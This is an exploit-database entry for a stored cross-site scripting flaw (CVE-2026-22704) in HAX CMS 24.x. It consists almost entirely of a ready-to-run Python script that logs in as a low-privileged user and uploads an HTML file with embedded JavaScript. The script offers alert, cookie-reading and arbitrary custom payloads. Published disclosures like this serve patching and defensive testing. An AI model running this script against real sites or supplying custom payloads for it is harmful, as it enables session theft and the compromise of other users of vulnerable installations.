HAX CMS 24.x - Stored Cross-Site Scripting (XSS)

EDB-ID:

52526


Author:

banyamer

Type:

webapps


Platform:

Multiple

Date:

2026-04-29


# Exploit Title: HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
# Date: 2026-01-28
# Google Dork: "N/A"
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Vendor Homepage: https://www.drupal.org/project/hax
# Software Link: https://github.com/elmsln/haxcms
# Version: <= 24.x (tested)
# Tested on: Linux
# CVE: CVE-2026-22704
#
# Description:
# HAX CMS allows low-privileged authenticated users to upload HTML files
# without proper content sanitization. Uploaded HTML files are rendered
# directly by the application, leading to a Stored Cross-Site Scripting (XSS)
# vulnerability when accessed by other users.
#
#
# Usage:
#   python3 haxcms_stored_xss.py --target http://TARGET --user USER --password PASS
#


import argparse
import requests
from urllib.parse import urljoin


def create_poc_html(payload_type="alert"):
    """
    Generate HTML PoC file.
    Payload types:
      - alert  : simple JS alert (default)
      - cookie : cookie access demonstration
      - custom : user supplied JavaScript
    """

    if payload_type == "cookie":
        js_payload = """
        alert("PoC: document.cookie = " + document.cookie);
        """
    elif payload_type == "alert":
        js_payload = """
        alert("Stored XSS PoC - CVE-2026-22704");
        """
    else:
        js_payload = payload_type

    return f"""<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>PoC</title>
</head>
<body>
  <h2>HAX CMS Stored XSS PoC</h2>
  <script>
  {js_payload.strip()}
  </script>
</body>
</html>
"""


def upload_file(target, username, password, filename, content):
    session = requests.Session()

    login_url = urljoin(target, "/user/login")
    login_data = {
        "name": username,
        "pass": password,
        "form_id": "user_login_form",
        "op": "Log in"
    }

    print("[*] Logging in...")
    r = session.post(login_url, data=login_data, allow_redirects=True)

    if "log out" not in r.text.lower():
        print("[!] Login failed")
        return False

    print("[+] Login successful")

    upload_url = urljoin(target, "/files/upload")
    files = {
        "files[upload]": (filename, content.encode(), "text/html")
    }

    print("[*] Uploading HTML file...")
    r = session.post(upload_url, files=files)

    if r.status_code not in (200, 201, 302):
        print("[!] Upload failed")
        return False

    file_url = urljoin(target, f"/sites/default/files/{filename}")
    print("[+] File uploaded successfully")
    print("[+] PoC URL:")
    print(file_url)

    return True


def main():
    parser = argparse.ArgumentParser(description="HAX CMS Stored XSS PoC (CVE-2026-22704)")
    parser.add_argument("--target", required=True, help="Target base URL")
    parser.add_argument("--user", required=True, help="Low privilege username")
    parser.add_argument("--password", required=True, help="Password")
    parser.add_argument("--payload", default="alert",
                        choices=["alert", "cookie", "custom"],
                        help="PoC payload type")
    parser.add_argument("--filename", default="poc.html",
                        help="Uploaded file name")

    args = parser.parse_args()

    if args.payload == "custom":
        js = input("[?] Enter custom JavaScript payload:\n> ")
        html = create_poc_html(js)
    else:
        html = create_poc_html(args.payload)

    upload_file(
        args.target.rstrip("/"),
        args.user,
        args.password,
        args.filename,
        html
    )


if __name__ == "__main__":
    main()